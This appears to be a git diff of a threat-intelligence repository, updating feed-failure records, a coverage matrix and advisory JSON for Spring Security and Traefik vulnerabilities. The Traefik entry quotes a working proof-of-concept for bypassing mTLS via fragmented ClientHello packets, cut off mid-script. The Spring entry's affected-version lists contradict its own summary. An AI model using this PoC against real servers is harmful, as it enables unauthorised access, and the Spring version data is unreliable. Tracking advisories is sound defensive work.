{ @@ -1912,8 +1842,7 @@ "message": "HTTPSConnectionPool(host='www.redmine.org', port=443): Max retries exceeded with url: /projects/redmine/wiki/Security_Advisories (Caused by NameResolutionError(\"HTTPSConnection(host='www.redmine.org', port=443): Failed to resolve 'www.redmine.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.redmine.org/projects/redmine/wiki/Security_Advisories", - "summary": "redmine::Redmine Security Advisories::network::HTTPSConnectionPool(host='www.redmine.org', port=443): Max retries exceeded with url: /projects/redmine/wiki/Security_Advisories (Caused by NameResolutionError(\"HTTPSConnection(host='www.redmine.org', port=443): Failed to resolve 'www.redmine.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 10.343 + "summary": "redmine::Redmine Security Advisories::network::HTTPSConnectionPool(host='www.redmine.org', port=443): Max retries exceeded with url: /projects/redmine/wiki/Security_Advisories (Caused by NameResolutionError(\"HTTPSConnection(host='www.redmine.org', port=443): Failed to resolve 'www.redmine.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1922,10 +1851,10 @@ "display_name": "Saleor", "source_name": "GitHub Saleor Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1939,8 +1868,7 @@ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /saleor/saleor/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://github.com/saleor/saleor/security/advisories", - "summary": "saleor::GitHub Saleor Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /saleor/saleor/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.04 + "summary": "saleor::GitHub Saleor Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /saleor/saleor/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1949,10 +1877,10 @@ "display_name": "Saleor", "source_name": "OSV Saleor", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1966,8 +1894,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "saleor::OSV Saleor::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.214 + "summary": "saleor::OSV Saleor::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1976,10 +1903,10 @@ "display_name": "Shopware", "source_name": "OSV Shopware", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1993,8 +1920,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "shopware::OSV Shopware::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.518 + "summary": "shopware::OSV Shopware::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -2003,10 +1929,10 @@ "display_name": "Shopware", "source_name": "Shopware Security Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -2020,8 +1946,7 @@ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /shopware/shopware/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://github.com/shopware/shopware/security/advisories", - "summary": "shopware::Shopware Security Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /shopware/shopware/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.45 + "summary": "shopware::Shopware Security Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /shopware/shopware/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { diff --git a/08-threat-intel/generated/coverage-matrix.md b/08-threat-intel/generated/coverage-matrix.md index cc63f062..924a48f6 100644 --- a/08-threat-intel/generated/coverage-matrix.md +++ b/08-threat-intel/generated/coverage-matrix.md @@ -52,11 +52,11 @@ | Shopware | `ecommerce` | `history-full` | `yes` | `yes` | `71` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `71` | `2025-04-20T01:37:25.860` | | Spring Boot | `frameworks` | `rolling-24m` | `-` | `yes` | `2` | `1` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `1` | `2026-03-13T21:59:19.426456Z` | | Spring Framework | `frameworks` | `rolling-24m` | `-` | `yes` | `11` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `11` | `` | -| Spring Security | `frameworks` | `rolling-24m` | `-` | `yes` | `3` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `3` | `` | +| Spring Security | `frameworks` | `rolling-24m` | `-` | `yes` | `4` | `1` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `3` | `2026-03-20T20:46:26.164998Z` | | Strapi | `cms` | `rolling-24m` | `-` | `yes` | `26` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `26` | `` | | SvelteKit | `frameworks` | `rolling-24m` | `-` | `yes` | `3` | `3` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-02-28T06:27:26.115188Z` | | Symfony | `frameworks` | `rolling-24m` | `-` | `yes` | `9` | `9` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-03-13T22:16:14.858636Z` | -| Traefik | `servers` | `rolling-24m` | `-` | `yes` | `43` | `0` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `27` | `2026-03-18T13:59:10.423590Z` | +| Traefik | `servers` | `rolling-24m` | `-` | `yes` | `45` | `0` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `27` | `2026-03-20T15:46:41.715568Z` | | Undici | `frameworks` | `rolling-24m` | `-` | `yes` | `16` | `15` | `2` | `seeded` | `real:7/synthetic:0/blocked:0` | `0` | `7` | `1` | `2026-03-18T23:58:57.714731Z` | | Vite | `frameworks` | `history-full` | `yes` | `yes` | `42` | `16` | `3` | `seeded` | `real:12/synthetic:0/blocked:0` | `12` | `12` | `26` | `2026-02-04T04:37:24.129476Z` | | Vue | `frameworks` | `history-full` | `yes` | `yes` | `15` | `1` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `14` | `2024-10-24T19:12:14.925352Z` | diff --git a/08-threat-intel/generated/dashboard/advisories.json b/08-threat-intel/generated/dashboard/advisories.json index a3aacd59..fa429a7d 100644 --- a/08-threat-intel/generated/dashboard/advisories.json +++ b/08-threat-intel/generated/dashboard/advisories.json @@ -10059,6 +10059,580 @@ "review_state": "ready" } }, + "spring-security--CVE-2026-22732": { + "canonical_id": "spring-security--CVE-2026-22732", + "title": "Spring Security HTTP Headers Are not Written Under Some Conditions", + "summary": "When applications specify HTTP response headers for servlet applications using Spring Security, there is the possibility that the HTTP Headers will not be written.\u00a0\nThis issue affects Spring Security: from 5.7.0 through 5.7.21, from 5.8.0 through 5.8.23, from 6.3.0 through 6.3.14, from 6.4.0 through 6.4.14, from 6.5.0 through 6.5.8, from 7.0.0 through 7.0.3.", + "display_name": "Spring Security", + "system_id": "spring-security", + "category": "frameworks", + "severity": "low", + "cvss_score": 3.1, + "exploit_status": "unknown", + "published_at": "2026-03-20T00:31:28Z", + "updated_at": "2026-03-20T20:46:26.164998Z", + "official_source_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22732", + "secondary_source_urls": [ + "https://github.com/spring-projects/spring-security", + "https://spring.io/security/cve-2026-22732" + ], + "aliases": [ + "CVE-2026-22732", + "GHSA-mf92-479x-3373" + ], + "secure_code_topics": [ + "authz-server-side-recheck", + "token-cookie-storage", + "proxy-trust-boundary" + ], + "verification_status": "triage-manual", + "verification_mode": "synthetic", + "artifact_mode": "synthetic", + "blocked_reason": null, + "browser_evidence": { + "required": false, + "present": false, + "refs": [] + }, + "entity_refs": [ + { + "entity_id": "spring-security", + "entity_type": "system", + "relation": "root-system", + "root_system_id": "spring-security", + "official": true + }, + { + "entity_id": "spring-security--project--org-springframework-security-spring-security-web", + "entity_type": "project", + "relation": "affected-component", + "root_system_id": "spring-security", + "official": false + } + ], + "affected_components": [ + { + "name": "org.springframework.security:spring-security-web", + "entity_id": "spring-security--project--org-springframework-security-spring-security-web", + "scope": "package", + "package_name": "org.springframework.security:spring-security-web", + "official": false + } + ], + "affected_version_ranges": [ + "3.0.0.RELEASE", + "3.0.1.RELEASE", + "3.0.2.RELEASE", + "3.0.3.RELEASE", + "3.0.4.RELEASE", + "3.0.5.RELEASE", + "3.0.6.RELEASE", + "3.0.7.RELEASE", + "3.0.8.RELEASE", + "3.1.0.RELEASE", + "3.1.1.RELEASE", + "3.1.2.RELEASE", + "3.1.3.RELEASE", + "3.1.4.RELEASE", + "3.1.5.RELEASE", + "3.1.6.RELEASE", + "3.1.7.RELEASE", + "3.2.0.RELEASE", + "3.2.1.RELEASE", + "3.2.10.RELEASE", + "5.8.0", + "5.8.1", + "5.8.10", + "5.8.11", + "5.8.12", + "5.8.13", + "5.8.14", + "5.8.15", + "5.8.16", + "5.8.2", + "5.8.3", + "5.8.4", + "5.8.5", + "5.8.6", + "5.8.7", + "5.8.8", + "5.8.9", + "6.0.0", + "6.0.1", + "6.0.2", + "6.0.3", + "6.0.4", + "6.0.5", + "6.0.6", + "6.0.7", + "6.0.8", + "6.1.0", + "6.1.1", + "6.1.2", + "6.1.3", + "6.1.4", + "6.1.5", + "6.1.6", + "6.1.7", + "6.1.8", + "6.1.9", + "6.2.0", + "6.4.0", + "6.4.1", + "6.4.10", + "6.4.11", + "6.4.12", + "6.4.13", + "6.4.2", + "6.4.3", + "6.4.4", + "6.4.5", + "6.4.6", + "6.4.7", + "6.4.8", + "6.4.9", + "6.5.0", + "6.5.1", + "6.5.2", + "6.5.3", + "6.5.4", + "6.5.5", + "6.5.6", + "6.5.7", + "6.5.8", + "7.0.0", + "7.0.1", + "7.0.2", + "7.0.3", + "introduced=0, last_affected=5.7.14", + "introduced=5.8.0, last_affected=5.8.16", + "introduced=6.0.0, last_affected=6.3.10", + "introduced=6.4.0, last_affected=6.4.13", + "introduced=6.5.0, fixed<6.5.9", + "introduced=7.0.0, fixed<7.0.4" + ], + "fixed_version_ranges": [ + "6.5.9", + "7.0.4" + ], + "introduced_version": "introduced=7.0.0, fixed<7.0.4", + "patched_version": "6.5.9", + "version_confidence": "high", + "version_gap_reason": "", + "version_resolution_needed": false, + "advisory_scope": "package", + "workflow": { + "workflow_id": "spring-security--CVE-2026-22732--workflow", + "vuln_family": "unknown", + "entry_surface": "package-surface", + "preconditions": [ + "\u4ec5\u5728 lab-local\u3001lab-public \u6216\u660e\u786e\u6388\u6743\u76ee\u6807\u4e2d\u6267\u884c\u3002", + "\u786e\u8ba4\u76ee\u6807\u547d\u4e2d\u7248\u672c\u65ad\u8a00: 3.0.0.RELEASE, 3.0.1.RELEASE, 3.0.2.RELEASE", + "\u82e5\u5bf9\u8c61\u5c5e\u4e8e `package`\uff0c\u5148\u786e\u8ba4\u6269\u5c55/\u4ed3\u5e93/\u5305\u5df2\u542f\u7528\u5e76\u5904\u4e8e\u53d7\u5f71\u54cd\u7248\u672c\u3002" + ], + "required_role": "unknown", + "affected_version_assertion": [ + "3.0.0.RELEASE", + "3.0.1.RELEASE", + "3.0.2.RELEASE", + "3.0.3.RELEASE", + "3.0.4.RELEASE", + "3.0.5.RELEASE", + "3.0.6.RELEASE", + "3.0.7.RELEASE", + "3.0.8.RELEASE", + "3.1.0.RELEASE", + "3.1.1.RELEASE", + "3.1.2.RELEASE", + "3.1.3.RELEASE", + "3.1.4.RELEASE", + "3.1.5.RELEASE", + "3.1.6.RELEASE", + "3.1.7.RELEASE", + "3.2.0.RELEASE", + "3.2.1.RELEASE", + "3.2.10.RELEASE", + "5.8.0", + "5.8.1", + "5.8.10", + "5.8.11", + "5.8.12", + "5.8.13", + "5.8.14", + "5.8.15", + "5.8.16", + "5.8.2", + "5.8.3", + "5.8.4", + "5.8.5", + "5.8.6", + "5.8.7", + "5.8.8", + "5.8.9", + "6.0.0", + "6.0.1", + "6.0.2", + "6.0.3", + "6.0.4", + "6.0.5", + "6.0.6", + "6.0.7", + "6.0.8", + "6.1.0", + "6.1.1", + "6.1.2", + "6.1.3", + "6.1.4", + "6.1.5", + "6.1.6", + "6.1.7", + "6.1.8", + "6.1.9", + "6.2.0", + "6.4.0", + "6.4.1", + "6.4.10", + "6.4.11", + "6.4.12", + "6.4.13", + "6.4.2", + "6.4.3", + "6.4.4", + "6.4.5", + "6.4.6", + "6.4.7", + "6.4.8", + "6.4.9", + "6.5.0", + "6.5.1", + "6.5.2", + "6.5.3", + "6.5.4", + "6.5.5", + "6.5.6", + "6.5.7", + "6.5.8", + "7.0.0", + "7.0.1", + "7.0.2", + "7.0.3", + "introduced=0, last_affected=5.7.14", + "introduced=5.8.0, last_affected=5.8.16", + "introduced=6.0.0, last_affected=6.3.10", + "introduced=6.4.0, last_affected=6.4.13", + "introduced=6.5.0, fixed<6.5.9", + "introduced=7.0.0, fixed<7.0.4" + ], + "trigger_vector": "\u5bf9 `unknown` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002", + "request_or_ui_path": [ + "/package" + ], + "input_shape": "\u63d0\u4ea4\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\u3002", + "expected_unsafe_behavior": "\u76ee\u6807\u8868\u73b0\u51fa\u8d85\u51fa\u8bbe\u8ba1\u8fb9\u754c\u7684\u884c\u4e3a\u3002", + "server_evidence_points": [ + "\u5e94\u7528\u65e5\u5fd7\u4e2d\u7684\u547d\u4e2d\u8def\u5f84\u3001\u9274\u6743\u51b3\u7b56\u548c\u5f02\u5e38\u6808", + "\u53cd\u5411\u4ee3\u7406\u6216\u8fb9\u754c\u5c42\u65e5\u5fd7\u4e2d\u7684\u8bf7\u6c42\u5934\u3001\u6765\u6e90 IP \u4e0e\u8def\u7531\u51b3\u7b56" + ], + "browser_evidence_points": [ + "\u57fa\u7ebf\u622a\u56fe\u4e0e\u653b\u51fb\u540e\u622a\u56fe\u7684 DOM/\u89c6\u89c9\u5dee\u5f02", + "console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7" + ], + "db_or_fs_evidence_points": [ + "\u6570\u636e\u5e93\u4e2d\u65b0\u589e/\u8d8a\u6743\u8bfb\u53d6\u7684\u6d4b\u8bd5\u6570\u636e", + "\u6587\u4ef6\u7cfb\u7edf\u4e2d\u65b0\u589e\u4e0a\u4f20\u6837\u672c\u3001\u7f13\u5b58\u6761\u76ee\u6216\u8d8a\u6743\u8bfb\u53d6\u75d5\u8ff9" + ], + "detection_signals": [ + "WAF / reverse proxy \u5f02\u5e38\u65e5\u5fd7\u3001\u8bbf\u95ee\u65e5\u5fd7\u548c\u544a\u8b66", + "\u5e94\u7528\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u7684\u6743\u9650\u9519\u8bef\u3001\u91cd\u5b9a\u5411\u5f02\u5e38\u3001\u6a21\u677f\u6e32\u67d3\u6216\u4e0a\u4f20\u843d\u76d8\u4e8b\u4ef6" + ], + "mitigation_summary": "\u4f18\u5148\u5347\u7ea7\u5230\u4fee\u590d\u7248\u672c\uff0c\u5e76\u540c\u65f6\u6536\u7d27\u8f93\u5165\u6821\u9a8c\u3001\u670d\u52a1\u7aef\u9274\u6743\u3001\u4ee3\u7406\u4fe1\u4efb\u8fb9\u754c\u3001\u6269\u5c55\u5b89\u88c5\u4fe1\u4efb\u548c\u5ba1\u8ba1\u65e5\u5fd7\u3002", + "patch_validation_steps": [ + "\u786e\u8ba4\u76ee\u6807\u7248\u672c\u4ece `3.0.0.RELEASE, 3.0.1.RELEASE, 3.0.2.RELEASE` \u5347\u7ea7\u6216\u56de\u79fb\u5230 `6.5.9`\u3002", + "\u4fdd\u7559\u540c\u4e00\u7ec4\u53d7\u63a7\u8f93\u5165\uff0c\u5728\u4fee\u590d\u524d\u540e\u5206\u522b\u6267\u884c\u5e76\u6bd4\u5bf9\u54cd\u5e94\u3001\u65e5\u5fd7\u4e0e\u6d4f\u89c8\u5668\u8bc1\u636e\u3002", + "\u786e\u8ba4\u4fee\u590d\u540e\u4ec5\u4fdd\u7559\u9884\u671f\u4e1a\u52a1\u884c\u4e3a\uff0c\u4e0d\u518d\u89e6\u53d1\u8d8a\u6743\u3001\u56de\u663e\u3001\u5f02\u5e38\u6e32\u67d3\u6216\u9519\u8bef\u8bf7\u6c42\u3002", + "\u8865\u5145 `unknown` \u65cf\u81ea\u52a8\u5316\u56de\u5f52\uff0c\u907f\u514d\u540c\u7c7b\u8def\u5f84\u5728\u63d2\u4ef6\u3001\u4e3b\u9898\u6216\u4ee3\u7406\u94fe\u4e2d\u56de\u5f52\u3002" + ], + "lab_safety_notes": [ + "\u53ea\u4f7f\u7528\u56de\u73af\u5730\u5740\u3001\u54e8\u5175\u76ee\u6807\u3001\u65e0\u5bb3\u6837\u672c\u6216\u53ef\u56de\u6eda\u6d4b\u8bd5\u6570\u636e\u3002", + "\u7981\u6b62\u9020\u6210\u6301\u4e45\u7834\u574f\u3001\u8d8a\u6743\u4e0b\u8f7d\u771f\u5b9e\u6570\u636e\u6216\u4e0d\u53ef\u56de\u6eda side effect\u3002", + "\u5982\u9700\u6d4f\u89c8\u5668\u8bc1\u636e\uff0c\u4fdd\u7559 baseline / proof \u4e24\u4efd\u5feb\u7167\u4ee5\u53ca console / network \u8bb0\u5f55\u3002" + ], + "review_state": "ready" + } + }, + "traefik--CVE-2026-32305": { + "canonical_id": "traefik--CVE-2026-32305", + "title": "Traefik has a Potential mTLS Bypass via Fragmented TLS ClientHello Causing Pre-SNI Sniff Fallback to Default Non-mTLS TLS Config", + "summary": "## Summary\n\nThere is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets.\n\nWhen a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.41\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n
\nOriginal Description\n\n### Summary\nI found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config.\n\nIf the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config).\n\n### Details\nThe vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello.\n\n1. In router.go, ServeTCP function calls clientHelloInfo.\n2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes.\nIt runs a temporary TLS parse on those bytes to extract the SNI.\nIf ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing).\n4. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive)\n5. Real Go TLS handshake succeeds later without requiring the client cert.\n6. Request is routed to the host that should have been protected.\n\nConditions required for impact:\n- Route-level TLS options enforce mTLS for a host.\n- Default TLS config is weaker (noClientCert, which is the default default).\n- Pre-sniff fails to extract SNI (due to fragmented ClientHello).\n\nA workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config).\n\nA suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation).\n\n### PoC\n```python\n# prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with \"docker\" instead of docker.io and podman will emulate it)\nsudo apt update\nsudo apt install -y docker.io openssl git python3 python3-venv\nsudo usermod -aG docker \"$USER\"\n# in debian/ubuntu run newgrp docker to apply the new group to the user\n\nmkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic}\ncd /tmp/traefik-frag-poc\n\n# CA\nopenssl genrsa -out certs/ca.key 4096\nopenssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \\\n -subj \"/CN=PoC-CA\" -out certs/ca.crt\n\n# Server cert (whoami.home.arpa)\ncat > certs/server.cnf <<'EOF_SERVER_CNF'\n[req]\ndistinguished_name = dn\nreq_extensions = v3_req\nprompt = no\n\n[dn]\nCN = whoami.home.arpa\n\n[v3_req]\nsubjectAltName = @alt_names\n\n[alt_names]\nDNS.1 = whoami.home.arpa\nEOF_SERVER_CNF\n\nopenssl genrsa -out certs/traefik.key 2048\nopenssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf\nopenssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \\\n -out certs/traefik.crt -days 365 -sha256 -extensions v3_req -extfile certs/server.cnf\n\n# Client cert (valid client)\nopenssl genrsa -out certs/client.key 2048\nopenssl req -new -key certs/client.key -subj \"/CN=client1\" -out certs/client.csr\nopenssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \\\n -out certs/client.crt -days 365 -sha256\n\ncat > config/traefik.yml <<'EOF_TRAEFIK_CFG'\nentryPoints:\n websecure:\n address: \":8443\"\n\nproviders:\n file:\n directory: /etc/traefik/dynamic\n watch: true\n\nlog:\n level: DEBUG\nEOF_TRAEFIK_CFG\n\ncat > config/dynamic/dynamic.yml <<'EOF_DYNAMIC_CFG'\nhttp:\n routers:\n whoami:\n rule: \"Host(`whoami.home.arpa`)\"\n entryPoints:\n - websecure\n service: whoami\n tls:\n options: mtls\n\n services:\n whoami:\n loadBalancer:\n servers:\n - url: \"http://whoami:80\"\n\ntls:\n certificates:\n - certFile: /certs/traefik.crt\n keyFile: /certs/traefik.key\n\n options:\n mtls:\n clientAuth:\n caFiles:\n - /certs/ca.crt\n clientAuthType: RequireAndVerifyClientCert\nEOF_DYNAMIC_CFG\n\ndocker network create traefik-poc\n\n\n# run a whoami microservice for the bypass demonstration\ndocker run -d \\\n --name whoami \\\n --network traefik-poc \\\n --restart unless-stopped \\\n traefik/whoami:v1.11.0\n\ndocker run -d \\\n --name traefik \\\n --network traefik-poc \\\n -p 8443:8443 \\\n --restart unless-stopped \\\n -v \"$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z\" \\\n -v \"$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z\" \\\n -v \"$PWD/certs:/certs:ro,Z\" \\\n traefik:3.6.10 \\\n --configFile=/etc/traefik/traefik.yml\n\n# watch traefik logs to ensure everything was deployed correctly\ndocker logs traefik\n\n# tlsfuzzer setup + frag client script\n\nmkdir -p /tmp/testtlsfuzz\ncd /tmp/testtlsfuzz\ngit clone https://github.com/tlsfuzzer/tlsfuzzer.git\ncd tlsfuzzer\n\npython3 -m venv .venv\nsource .venv/bin/activate\npip install -r requirements.txt\n\ncat > frag_clienthello.py <<'EOF_FRAG_SCRIPT'\nimport argparse\nimport sys\nimport os\n\nfrom tlsfuzzer.runner import Runner\nfrom tlsfuzzer.messages import (\n Connect,\n SetMaxRecordSize,\n ClientHelloGenerator,\n CertificateGenerator,\n CertificateVerifyGenerator,\n ClientKeyExchangeGenerator,\n ChangeCipherSpecGenerator,\n FinishedGenerator,\n ApplicationDataGenerator,\n AlertGenerator,\n)\nfrom tlsfuzzer.expect import (\n ExpectServerHello,\n ExpectCertificate,\n ExpectServerKeyExchange,\n ExpectCertificateRequest,\n ExpectServerHelloDone,\n ExpectChangeCipherSpec,\n ExpectFinished,\n ExpectApplicationData,\n ExpectAlert,\n ExpectClose,\n)\nfrom tlsfuzzer.helpers import SIG_ALL\nfrom tlslite.constants import (\n CipherSuite,\n ExtensionType,\n AlertLevel,\n AlertDescription,\n GroupName,\n)\nfrom tlslite.extensions import (\n SNIExtension,\n TLSExtension,\n SupportedGroupsExtension,\n SignatureAlgorithmsExtension,\n SignatureAlgorithmsCertExtension,\n)\nfrom tlslite.utils.keyfactory import parsePEMKey\nfrom tlslite.x509 import X509\nfrom tlslite.x509certchain import X509CertChain\n\n\nclass PrettyExpectApplicationData(ExpectApplicationData):\n def process(self, state, msg):\n super().process(state, msg)\n text = msg.write().decode(\"utf-8\", errors=\"replace\")\n head, _, body = text.partition(\"\\r\\n\\r\\n\")\n print(\"\\n=== HTTP RESPONSE ===\")\n print(head)\n print()\n print(body)\n print(\"=== END HTTP RESPONSE ===\\n\")\n\n\ndef load_client_cert_and_key(cert_path, key_path):\n cert = None\n key = None\n\n if cert_path:\n text_cert = open(cert_path, \"rb\").read()\n if sys.version_info[0] >= 3:\n text_cert = str(text_cert, \"utf-8\")\n cert = X509()\n cert.parse(text_cert)\n\n if key_path:\n text_key = open(key_path, \"rb\").read()\n if sys.version_info[0] >= 3:\n text_key = str(text_key, \"utf-8\")\n key = parsePEMKey(text_key, private=True)\n\n return cert, key\n\n\ndef main():\n p = argparse.ArgumentParser()\n p.add_argument(\"--connect-host\", default=\"127.0.0.1\")\n p.add_argument(\"--port\", type=int, default=8443)\n p.add_argument(\"--sni\", default=\"whoami.home.arpa\")\n p.add_argument(\"--record-size\", type=int, default=512)\n p.add_argument(\"--padding-len\", type=int, default=1200)\n p.add_argument(\"--expect-cert-request\", action=\"store_true\")\n p.add_argument(\"--client-cert-pem\", default=\"\")\n p.add_argument(\"--client-key-pem\", default=\"\")\n args = p.parse_args()\n\n cert, key = load_client_cert_and_key(args.client_cert_pem, args.client_key_pem)\n\n print(f\"[DBG] cert_arg={args.client_cert_pem!r} key_arg={args.client_key_pem!r}\")\n for p in [args.client_cert_pem, args.client_key_pem]:\n if p:\n print(f\"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}\")\n\n print(f\"[DBG] cert_loaded={cert is not None} key_loaded={key is not None}\")\n print(f\"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}\")\n\n\n if (args.client_cert_pem or args.client_key_pem) and not (cert and key):\n raise ValueError(\"Provide 